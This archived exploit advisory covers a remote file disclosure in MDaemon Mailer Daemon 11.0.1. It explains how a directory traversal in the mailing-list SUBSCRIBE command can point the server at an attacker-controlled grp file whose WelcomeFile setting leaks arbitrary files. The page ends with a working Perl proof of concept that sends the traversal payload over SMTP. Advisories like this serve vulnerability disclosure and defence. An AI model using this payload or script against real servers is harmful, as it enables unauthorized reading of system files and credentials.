what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MDaemon Mailer Daemon 11.0.1 File Disclosure

MDaemon Mailer Daemon 11.0.1 File Disclosure
Posted May 4, 2010
Authored by Kingcope

MDaemon Mailer Daemon version 11.0.1 suffers from a remote file disclosure vulnerability.

tags | exploit, remote, info disclosure
SHA-256 | 2bbf244585bc1c9905c4f926b37c9bfbdeaf6a38b2dc0652ad33b67113f42a8e

MDaemon Mailer Daemon 11.0.1 File Disclosure

Change Mirror Download
MDaemon Mailer Daemon Version 11.0.1 (LATEST) Remote File Disclosure
Bug Found & Exploited by Kingcope
May 2010

The latest version at the time of this advisory is vulnerble to the attack.
It seems all files which the SYSTEM account can read can be accessed remotely,
even accessing files on SMB shares located in the local network might
be possible.

The caveat is that only human readable files can be read.
This bug is complex so let's break the attack down into it's different pieces.

Mailing list support in MDaemon
---
MDaemon support mailing list. When a mailing list is configured, people can
subscribe and use the mailing list commands which are sent to
MDaemon@<domainhere>.
The MDaemon Software stores configurations for mailing lists inside a
file with the grp extension
which is located in <MDaemonDir>(normally C:\MDaemon)\App so for
example in C:\MDaemon\App.
A mailing list group file can look like the following (only a snippet
of the file):

---snip---
# Mailing List file
#
; ListName = test@company.mail
; Private = N
; HideFromAddressBook = N
; AllowExpn = Y
; ListNameInSubject = Y

...
---snip---


grp file
--
Inside the grp file there is a setting for a welcome message which is
sent when a user subscribes to
a mailing list.
The field is named "WelcomeFile", for example this setting can be:
; WelcomeFile = C:\autoexec.bat


Directory traversal in SUBSCRIBE (and other commands, SUBSCRIBE is the
important for the attack)
--
When subscribing to a mailing list the user sends an E-Mail with a subject like:
SUBSCRIBE test-mailinglist@<domainhere>

In this case a grp file named test-mailinglist@domain.grp will be
searched for in C:\MDaemon\App\.
An attacker can now supply dot dot slashes here to point to a
different file as intended, for example:

SUBSCRIBE VVV@"../../../../../../../../../../../../../../../../../users/kcope/openshare/foobar

In this case the Mailer Daemon will look for the grp file in the
location C:\Users\Kcope\OpenShare\foobar.grp.
If the file exists MDaemon will use this file and send back a
confirmation E-Mail because of a mailing list subscription.
The attack does not depend on a mailing list being configured but on a
file which the user controls under a C: folder (which
he for example uploaded through SMB or FTP). So this is the only
migitation for the attack. I did not find a way to
discard the grp file extension added to the requested file, so it's
not possible to reuse sent mails by the attacker
for example.


Welcome message file and final attack
--
As seen before the grp file supports a welcome message file setting.
When the user responds to the malicious
subscription request sent by him (it's important to change the domain
name at this point to the correct one, because
MDaemon gets confused by the ../ domainname seen above when sending
the confirmation mail) he will gracefully receive
the requested file which was set in grp file back as an email
contained in a welcome E-Mail by MDaemon.


Exploit PoC
--

The following exploit will force the welcome file set in
c:/users/kcope/openshare/foobar.grp to be sent to the attacker
after confirming the subscription request.

---snip---
use IO::Socket::INET;
use MIME::Base64;

$|=1;

$sock = IO::Socket::INET->new(PeerAddr => 'localhost',
PeerPort => '25',
Proto => 'tcp');

print $sock "EHLO you\r\n";
print $sock "MAIL FROM: <niko>\r\n";
print $sock "RCPT TO: <MDaemon\@company.mail>\r\n";
print $sock "DATA\r\n";
print $sock "Date: 23 Oct 81 11:22:33\r\n";
print $sock "From: <niko>\r\n";
print $sock "To: <MDaemon\@company.mail>\r\n";
print $sock "Subject: SUBSCRIBE
VVV\@\"../../../../../../../../../../../../../../../../../users/kcope/openshare/foobar\r\n";
print $sock "\r\n\r\ntest\r\n.\r\nQUIT\r\n";
print ".";

while(<$sock>) {
print;
}
---snip---

Regards and Signed,

Kingcope

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close